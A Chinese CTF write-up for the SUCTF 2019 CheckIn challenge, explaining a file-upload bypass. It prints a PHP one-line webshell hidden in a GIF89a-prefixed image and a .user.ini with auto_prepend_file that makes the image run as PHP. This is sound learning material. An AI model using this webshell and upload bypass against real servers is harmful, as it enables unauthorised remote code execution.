zoukankan      html  css  js  c++  java
  • [SUCTF 2019]CheckIn

     大佬的wp

     首先上传包含一句话的php文件,提示illegal suffix!,试了一下.php3,.php5,.phtml等都不行

     把文件后缀名改成.jpg试一下,检测到了内容 <?

      那就用其他姿势

    <script language='php'>assert($_REQUEST['cmd'])</script>

    检测到文件不是图像,很明显是用exif_imagetype()函数,函数功能是读取一个图像的第一个字节并检查其签名。 在一句话前面加个GIF89a进行绕过

     那么现在的一句话如下,可以制作成图片马,但是需要解析成php

    GIF89a
    <script language='php'>assert($_REQUEST['cmd'])</script

    正常想到的是.htaccess,但是这个服务器是nginx,而.htaccess是针对apache的

    那么这里利用是 .user.ini ,而且.user,ini利用的范围比.htaccess更广,具体参考这里

    不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法

     php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:

    PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER

    .user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置

     同时在php配置项中有两个比较有意思的项

    auto_prepend_file和auto_append_file

    相当于指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数

    auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入

    那么思路就有了

    上传图片马,然后利用.user.ini解析图片马生成webshell

    生成图片马

     然后需要利用.user.ini解析图片马

    GIF89a
    auto_prepend_file=shell.jpg

    上传.user.ini和图片马

    然后根据上传的路径,找到上传的Webshell,获取flag

  • 相关阅读:
    二叉树非递归遍历
    二叉树之统计二叉树的节点个数
    C语言32个关键字(2)
    C语言32个关键字(1)
    C语言常用字符串操作函数总结
    面向对象的四大特征
    C语言之生产者与消费者模型
    菜鸟随笔(4)---read函数与fread函数的区别
    菜鸟随笔(3)---三种进程学习.孤儿进程.僵尸进程.守护进程
    进程通信——管道、消息队列、共享内存、信号量
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12337572.html
Copyright © 2011-2022 走看看